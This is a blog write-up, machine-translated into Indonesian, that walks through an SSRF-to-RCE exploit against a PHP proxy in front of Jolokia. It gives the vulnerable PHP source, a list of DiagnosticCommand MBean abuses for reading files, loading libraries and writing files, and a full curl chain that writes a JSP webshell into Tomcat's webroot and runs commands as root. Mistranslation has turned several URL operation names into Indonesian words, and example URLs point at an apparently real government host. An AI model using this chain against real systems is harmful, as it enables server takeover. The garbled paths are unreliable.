SSRF to RCE with Jolokia and MBeans

PwnOsec Research Groups
7 min readOct 6, 2024

--

© 2024 Kementerian Perhubungan Republik Indonesia f.t PT. Pwn0sec Technologies Ltd

Oke, ini satu hal lucu yang baru-baru ini saya manfaatkan.

Penyebab bug ini sederhana:The lack of input sanitization

Gambaran Umum Target Kami

  • Host Linux (pilih favorit Anda)
  • Basic-Auth sudah tersedia
  • Jolokia telah terpasang/diterapkan
  • Analisis kode sumber PHP, akar penyebabnya

Kode sumber tidak disediakan, tetapi untungnya, daftar direktori diaktifkan, dan sebuah .oldberkas menunggu saya dengan tenang.
Hari yang beruntung, bukan?

Sumber kode telah dimodifikasi secara besar-besaran agar mudah dibaca oleh pembaca, versi aslinya… Sungguh… Sangat mengesankan!

Luangkan waktu untuk membaca kodenya, lihat apa yang dapat Anda temukan! Peringatan spoiler: catatan saya tentang ini ada di bawah cuplikan kode.

<?php

// Variables
$arg1=$_GET['arg1']; // note 1
$arg2=$_GET['arg2']; // note 1
$method=$_SERVER['REQUEST_METHOD'];
// Sanitize params
if (!is_numeric($arg1)) {
http_response_code(400);
die("Param arg1 must be numeric");
}
function jolokiaPlz($arg1, $arg2) {
global $jolokia_user, $jolokia_pw;
// Example: setLoggerLevel/global/INFO
$levels = array("INFO", "DEBUG");
$level = $levels[$arg1];
$url = "http://localhost:8080/jolokia/exec";
$url .= "/java.util.logging:type=Logging/setLoggerLevel/$arg2/$level?some=garbage_here"; // note 2 and 5

$curl = curl_init();
curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($curl, CURLOPT_USERPWD, "$jolokia_user:$jolokia_pw");
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($curl);
curl_close($curl);
return $result;
}
switch ($method) {
case "PUT":
$ret=json_decode(jolokiaPlz($arg1, $arg2), true);
http_response_code($ret['status']);
header("Content-Type: application/json");
if ($ret['status'] == 200) {
print ("{\"Success\": \"$arg1/$arg2\",\"Code\":\"".$ret['value']."\"}"); // note 3
} else {
print(json_encode($ret));
}
break;
default:
http_response_code(404);
die("Bad methode: $method"); // note 4
}
?>

Banyak hal yang perlu diperhatikan:

  1. Parameter arg1 dan arg2 tidak diuji dengan isset, sehingga menghasilkan pesan Warning: Undefined array key "arg1" in /var/www/html/api.php on line 4yang mengisyaratkan untuk menambahkan parameter agar dapat menggunakan api dengan benar (penambangan parameter tidak diperlukan) dan membocorkan jalur absolut.
  2. Pemeriksaan tersebut is_numericjuga mengembalikan true untuk -1atau 1, ini akan memicu kesalahan dalam jolokia. Parameter tersebut seharusnya dinormalisasi dengan int()dan kemudian di-stringifikasi untuk memastikan jenisnya, atau divalidasi dengan regex numerik yang ketat.
  3. JSON Successdibuat dengan buruk dan tidak akan valid jika ada argumen yang mengandung tanda kutip ganda. Objek php seharusnya dibuat dan kemudian dibuang sebagai string JSON untuk memastikan validitasnya.
  4. XSS couldtelah ada pada baris terakhir karena metode tercermin tanpa pembersihan apa pun, tetapi metode HTTP yang berisi karakter khusus paling sering diblokir oleh server.
  5. A path traversaldimungkinkan pada arg2, karena tidak ada sanitasi yang dilakukan. Lebih baik lagi, tidak ada tanda tanya ?atau tanda pagar #, jadi kita bisa ../masuk ke akar server web!

Sejauh ini, kita bisa:

  • Daftarkan file pada 0.0.0.0:8443 dengan daftar direktori
  • Gunakan lintasan lintasan untuk mencapai SSRF di http://127.0.0.1:8080/
  • Dengan Basic-Auth yang ditambahkan untuk kita
  • Dengan jalur dan parameter yang sewenang-wenang
  • Tanpa sampah di akhir dengan menambahkan url yang dikodekan#

Permintaan bersih normal:

Oke, itu awal yang baik. Server php (secara lokal, untuk tujuan pengujian) merupakan server bawaan:php -S 0.0.0.0:8443

Sekarang, mari kita siapkan jolokia untuk melihat apa yang bisa dilakukan si bad-boiiii ini! Dan yang saya maksud dengan pengaturan adalah… Docker! tetap malas

sudo docker run --rm -it --network=host bodsch/docker-jolokia

Penggalian sedikit menunjukkan bahwa docker ini mengekspos layanan JMX pada 0.0.0.0:22222 dan tomcat pada 0.0.0.0:8080.

Mari kita balikkan port 22222:

Dengan jconsole, kita dapat dengan mudah mengakses dan berinteraksi dengan fitur JMX, seperti properti dan metode mbeans.

Dimungkinkan untuk masuk baik secara lokal maupun jarak jauh, di sini kita akan menggunakan antarmuka jarak jauh karena tomcat kita berada dalam kontainer docker.

Jconsole membantu pemantauan sumber daya, dan juga menawarkan untuk membaca dan menulis atribut, serta pemanggilan metode dengan parameter yang ditentukan pengguna.

Cukup rapi, cukup berbahaya, tapi terserah, port 22222 tidak terekspos…

Apa itu Jolokia?

Dokumen Jolokia di JMX menyatakan:

JMX (Java Management Extensions) adalah solusi manajemen standar di dunia Java. Sejak JDK 1.5, solusi ini tersedia di setiap Mesin Virtual Java dan khususnya server aplikasi Java EE menggunakan JMX untuk bisnis manajemennya.

Dokumen Jolokia / situs web resmi

Jolokia adalah jembatan JMX-HTTP yang memberikan alternatif untuk konektor JSR-160. Ini adalah pendekatan berbasis agen dengan dukungan untuk banyak platform. Selain operasi JMX dasar, ia meningkatkan remoting JMX dengan fitur unik seperti permintaan massal dan kebijakan keamanan yang terperinci.

Tidak usah bicara lagi, Jolokia is a JMX-HTTPbridge, jadi sekarang kita dapat menggunakan jolokia di HTTP untuk mengakses fitur JMX. Yeet!

Tapi, JMX hanya bisa.. Memantau? Seharusnya tidak seburuk itu, kan?

Interaksi, Enumeration, and Blindness, sahabat lamaku

Satu hal yang perlu diperhatikan adalah bahwa dalam skrip php, ketika panggilan ke jolokia berhasil, kita sering kali tidak menyadari apa yang terjadi karena dalam print ("{\"Success\": \"$arg1/$arg2\",\"Code\":\"".$ret['value']."\"}");, ketika $ret['value']merupakan dict atau array, penggabungan string hanya akan menghasilkan kata kunci generik Objectatau Arraybukan isinya. Ini membuat kita tidak menyadari apa yang terjadi, dan ini menyebalkan.

Inilah mengapa penting untuk memiliki replika lokal untuk menghitung berbagai hal dan mencari tahu apa yang dapat dilakukan. Selain itu, sebagian besar nilai pengembalian jolokia adalah objek json, jadi kita sering kali tidak menyadarinya.

Beberapa informasi masih dapat diperoleh dengan membuat jejak tumpukan dan mencari tahu apakah contoh (MBean) ditemukan atau tidak, apakah metode yang dipanggil ada atau tidak, dll.

Sekarang, mari kita luangkan beberapa menit untuk membuat Bernstein senang dengan membaca beberapa dokumen!

https://jolokia.org/reference/html/protocol.html#jolokia-operations

Pola url umum untuk jolokia adalah sebagai berikut (POST dihilangkan, karena kita hanya dapat menjangkaunya dengan GET):

  • https://api-esb-dev.kemenhub.go.id/jolokia?p=/baca/jboss.jmx:alias=jmx%2Frmi%2FRMIAdaptor/Negara
  • http://api-esb-dev.kemenhub.go.id/jolokia/exec/java.lang:type=Memory/gc
  • http://api-esb-dev.kemenhub.go.id/jolokia/daftar?maxObjects=100
  • http://api-esb-dev.kemenhub.go.id/jolokia/read/java.lang:type=*/HeapMemoryUsage
  • http://api-esb-dev.kemenhub.go.id/jolokia/baca/java.lang:jenis=Memory/HeapMemoryUsage/digunakan
  • http://api-esb-dev.kemenhub.go.id/jolokia/pencarian/*:j2eeType=J2EEServer,*
  • http://api-esb-dev.kemenhub.go.id/jolokia/write/java.lang:type=Memory/Verbose/true

Untuk meringkas polanya, kira-kira seperti ini: /jolokia/action/package:MBeanSelector/method/param1/param2, dan /karakter harus dikodekan dengan !/. Keren!

MBeans yang berguna ditemukan

Secara lokal, MBeans dapat dicantumkan dengan /jolokia/listatau dengan jconsole.

Dapatkan bantuan diDiagnosticCommand

  • /jolokia/exec/com.sun.management:type=DiagnosticCommand/help/*
  • Perhatikan bahwa di sini, valuekuncinya adalah string dan bukan array/dict, jadi kita tidak akan buta terhadap target sebenarnya dengan SSRF!

Dapatkan Informasi JVM dengan vmSystemProperties

  • /jolokia/exec/com.sun.management:type=DiagnosticCommand/vmSystemProperties
  • Menulis file dengan JavaFlightRecorder
  • /jolokia/exec/com.sun.management:type=DiagnosticCommand/jfrStart/filename=!/tmp!/foo
  • /jolokia/exec/com.sun.management:type=DiagnosticCommand/jfrDump/name=<ID_FROM_jfrStart>
  • Untuk yang ini, saya menulis berkasnya, tetapi tidak meluangkan waktu untuk memastikan bahwa kami mengendalikan sebagian isinya, sisanya terserah pembaca! :]
  • File dibaca dengan compilerDirectivesAdd
  • /jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd
  • Tidak dapat memuat, berikut isinya, terima kasih atas ikannya! facepalm
  • Pemuatan .so sewenang-wenang dengan jvmtiAgentLoad
  • /jolokia/exec/com.sun.management:type=DiagnosticCommand/jvmtiAgentLoad/!/etc!/passwd
  • Benarkah? Memuat .so dengan permintaan GET sederhana? Wow..
  • Fakta menarik, tidak perlu ada fungsi yang dipanggil di dalam pustaka. Windows dan Linux dapat mengimplementasikan konstruktor untuk pustaka dan menjalankan kode di dlopen dengan cara ini!
  • File ditulis dalam file “log” dengan lokasi dan nama yang sembarangan
  • /jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/output=!/tmp!/pwned
  • Di sini, seseorang harus menemukan cara untuk meracuni log, lalu menonaktifkannya untuk menutup file dan berhenti menambahkan sampah ke dalamnya
  • /jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/disable

Cara-cara potensial untuk berkompromi

  1. Menemukan MBean lain yang menawarkan SSRF lengkap dan memindai jaringan internal untuk layanan yang rentan?
  • Mungkin, saya hanya berhasil menemukan satu SSRF di sistem proxy jolokia, tetapi hanya dapat dijangkau melalui permintaan POST, jadi ini jalan buntu bagi kami
  1. Gunakan file write untuk menambahkan crontask?
  • Tidak, hanya pengguna istimewa yang dapat mengedit crontab
  1. Tambahkan ssh authorized_key ke pengguna kita dan ssh ke dalam kotak?
  • Tidak, ssh tidak terekspos
  1. Menulis pustaka sembarangan (.so) pada disk dan memuatnya?
  • Tidak, primitif penulisan berkas kita memiliki terlalu banyak sampah dan akan merusak parser ELF saat memuat pustaka. Ini dapat berfungsi dengan pembersihan log dengan waktu yang tepat, tetapi ini tampaknya sangat rumit, dan kemungkinan besar akan gagal.
  • Di Windows, jalur UNC seperti itu \\my.domain.com\my.dllmungkin saja bisa dilakukan, tetapi saya tidak mengetahui perilaku seperti itu di Linux. Saya mencoba menggunakan httpskema ftp, tetapi yang diharapkan adalah jalur dan bukan uri penuh .
  1. Tulis file php di web-root php dan tanyakan?
  • Tidak, web-root ini tidak dapat ditulis oleh pengguna tomcat
  1. Tulis file jsp pada direktori ROOT tomcat (atau aplikasi yang dipetakan lainnya dalam tomcat, seperti manager, docs, dll) dan tanyakan dengan SSRF awal kita?
  • Bingo! Percobaan pertama! Atau semacamnya.. :)

Panduan & Eksploitasi Terakhir

# Define log file
curl -i -k -X PUT 'http://0.0.0.0:8443/api.php?arg1=1&arg2=global/../../../../../jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/output=!/opt!/apache-tomcat-9.0.16!/webapps!/ROOT!/jsp.jsp%23'

#HTTP/1.1 200 OK
#Host: 0.0.0.0:8443
#Date: Sun, 28 Feb 2021 02:11:10 GMT
#Connection: close
#X-Powered-By: PHP/8.1.0-dev
#Content-type: text/html; charset=UTF-8
#
#string(221) "{"request":{"mbean":"com.sun.management:type=DiagnosticCommand","arguments":["output=\/opt\/apache-tomcat-9.0.16\/webapps\/ROOT\/jsp.jsp"],"type":"exec","operation":"vmLog"},"value":"","timestamp":1614478270,"status":200}"
# Wait for log file rotation and write our payload in the logs/jsp
sleep 1
curl -i -k -X PUT 'http://0.0.0.0:8443/api.php?arg1=1&arg2=global/../../../../../jolokia/win%253C%2525%253Dnew%2520java.util.Scanner%2528Runtime.getRuntime%2528%2529.exec%2528%2522id%2522%2529.getInputStream%2528%2529%2529.useDelimiter%2528%2522pouetpouet%2522%2529.next%2528%2529%2525%253Ewin%23'
#HTTP/1.1 200 OK
#Host: 0.0.0.0:8443
#Date: Sun, 28 Feb 2021 02:11:11 GMT
#Connection: close
#X-Powered-By: PHP/8.1.0-dev
#Content-type: text/html; charset=UTF-8
#
#string(3076) "{"stacktrace":"java.lang.IllegalArgumentException: No type with name 'win<%=new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"pouetpouet\").next()%>win' exists\n\tat org.jolokia.util.RequestType.getTypeByName(RequestType.java:69)\n\tat org.jolokia.request.JmxRequestFactory.createGetRequest(JmxRequestFactory.java:94)\n\tat org.jolokia.http.HttpRequestHandler.handleGetRequest(HttpRequestHandler.java:79)\n\tat org.jolokia.http.AgentServlet$4.handleRequest(AgentServlet.java:470)\n\tat org.jolokia.http.AgentServlet.handleSecurely(AgentServlet.java:350)\n\tat org.jolokia.http.AgentServlet.handle(AgentServlet.java:321)\n\tat org.jolokia.http.AgentServlet.doGet(AgentServlet.java:277)\n\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:634)\n\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:741)\n\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)\n\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)\n\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\n\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)\n\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)\n\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:200)\n\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)\n\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:490)\n\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139)\n\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\n\tat org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:668)\n\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)\n\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)\n\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408)\n\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)\n\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:834)\n\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1415)\n\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\n\tat java.base\/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)\n\tat java.base\/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)\n\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\n\tat java.base\/java.lang.Thread.run(Thread.java:834)\n","error_type":"java.lang.IllegalArgumentException","error":"java.lang.IllegalArgumentException : No type with name 'win<%=new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"pouetpouet\").next()%>win' exists","status":400}"
sleep 1
# End log file, stop adding garbage
curl -i -k -X PUT 'http://0.0.0.0:8443/api.php?arg1=1&arg2=global/../../../../../jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/disable%23'
#HTTP/1.1 200 OK
#Host: 0.0.0.0:8443
#Date: Sun, 28 Feb 2021 02:11:12 GMT
#Connection: close
#X-Powered-By: PHP/8.1.0-dev
#Content-type: text/html; charset=UTF-8
#
#string(170) "{"request":{"mbean":"com.sun.management:type=DiagnosticCommand","arguments":["disable"],"type":"exec","operation":"vmLog"},"value":"","timestamp":1614478272,"status":200}"

# Query our jsp and execute code
curl -i -k -X PUT 'http://0.0.0.0:8443/api.php?arg1=1&arg2=global/../../../../../jsp.jsp%23' | grep uid | head -n 1
#[20.624s][info][exceptions ] Exception <a 'java/lang/IllegalArgumentException'{0x00000000c5bc01b8}:
# No type with name 'winuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Useful ressources

https://academy.pwn0sec.com/private/kemenhub
https://docs.oracle.com/cd/E17802_01/j2se/j2se/1.5.0/jcp/beta1/apidiffs/java/lang/management/ManagementFactory.html

--

--

PwnOsec Research Groups
PwnOsec Research Groups

Written by PwnOsec Research Groups

A Private Cybersecurity Company aka PT. PwnOsec Technologies Ltd.

No responses yet